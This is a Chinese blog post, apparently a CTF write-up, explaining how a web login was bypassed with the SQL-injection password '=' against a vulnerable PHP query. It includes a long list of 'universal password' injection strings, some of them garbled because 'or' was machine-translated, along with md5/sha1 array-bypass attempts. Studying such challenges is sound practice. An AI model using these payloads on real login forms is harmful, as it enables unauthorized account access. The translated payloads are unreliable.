CTF中Web密码绕过详解(特殊通用密码绕过)

 2024-03-01 05:04:27  阅读 0

做过CTF题的朋友可能对Web登录密码绕过这类题有一定的了解。 绕过它的方法有很多种,而且关卡也是无穷无尽的。 我今天帮朋友的时候也遇到了这样的问题。 但它很特别,在网上很少见到,所以我在这里分享一下。

话题:

管理员密码很长,但是有最短的方法可以绕过它。

前端代码:


<body>


admin的密码非常长,但是有最短的方式绕过

绕过方法:

这里使用的是SQL注入通用密码绕过:用户名:admin,密码:'='。

原则:

其原理是所使用的SQL语句的查询注入漏洞。

内部查询语句:

$sql = “select user from flag where user=’\$_POST[‘user’]’ and password=’\$_POST[‘password’]’”;

输入‘=’后,查询语句为:

$sql = “select user from flag where user=’admin’ and password=’‘=’‘”;

user='admin' 为 true,=''='' 也为 true。

这相当于:

$sql = “select user from flag where 1 and 1”;

这样就暴露了用户,并获得了flag。

如果问题不限制用户名,我们还可以使用user=''='',这样就可以暴露所有用户。

我来说一下我绕过这个话题的整个思路。

首先声明一下,在解决问题之前我没有任何源代码? 只有一个html页面表单,提交到index.php就是这样。

第一步:先确定漏洞类型?

漏洞的类型有很多种,比如:xss、SQL注入、密码学……等等。

我们考CTF的时候主要是确定这道题的测试方向是什么?

读完这个话题,我首先想到的是PHP通用密码绕过(SQL注入),例如:

“或”a“=”a

“或 1=1--

“或”=

“或”=“a”=“a”

“或1=1--

“或=或”

''或'='或'

') 或 ('a'='a

'.).or.('.a.'='.a

'或1=1

'或1=1--

'或 1=1/*

'或"='a'='a

'或' '1'='1'

'或''='

'或''=''或''='

'或'='1'

'或'='或'

'或.'a.'='a

'或1=1--

1'或'1'='1

a'或'1=1--

a'或'1=1--

或 'a'='a'

或 1=1--

或1=1--

我随机找了几个试了一下,都失败了,并且显示“so Long”的信息,意思是太长了。

同时,在这一步中,我还运行了表单后注入,结果是没有注入。

不注入只有两种情况:

1.确实没有注射。

2. SQL语句写得很好。 其实是存在注入漏洞,但是无法扫描。 例如:

$sql = "INSERT INTO `test`.`users` (`id`, `username`, `password`) VALUES (NULL, \'fujieace\', \'123456\');";

第二步:确定密码允许输入的长度?

当我输入用户名admin并不断尝试密码后,发现了问题。 密码长度只能是 4 个字符或更少,否则不会出错。 只要密码长于4个字符,就会提示“so long”。

第三步:PHP sha1 md5绕过

由于我运行了上面的代码,所以我先入为主地认为不存在SQL注入。 既然是密码绕过,首先:我猜测是PHP MD5真等号和数值绕过。 结果我试了一下,根本没有生成4位数字的字符串。 说明姿势不对。

然后,我猜测这是绕过了PHP中的sha1()函数和md5()函数。 我捕获了该数据包并使用 user[]=admin&[]=2 数组绕过它。 现在密码字符串都是4位数字。 下面是结果,给我报错如下:

: () 1 为 ,在 /var/www/html/index.php 第 20 行给出的数组

: () 1 为 ,在 /var/www/html/index.php 第 22 行给出的数组

中文翻译

警告:() 期望参数 1 为字符串,数组在 /var/www/html/index.php 第 20 行给出

警告:() 期望参数 1 为字符串,即 /var/www/html/index.php 第 22 行中给出的数组

解释还是错的。 经过反复尝试,发现这段代码的用户名和密码只允许字符串。

而且,用户名是用()过滤的,但是密码好像没什么用,因为我这里给密码传一个数组的时候,密码警告只有();

第四步:综合分析

用户名是:admin,这是硬编码的。

密码只能是:等于或小于4个字符,并且必须是字符串。

测试点是:绕过admin密码的最短方法。

另外,该漏洞无法扫描,说明SQL语句的编写方式非常特殊,很可能是SQL注入漏洞。 其他漏洞类型似乎也不适合这个。

那么,只有一种非常不常见的密码绕过方法:'='

标签: 绕过 密码 注入

如本站内容信息有侵犯到您的权益请联系我们删除,谢谢!!


Copyright © 2020 All Rights Reserved 京ICP5741267-1号 统计代码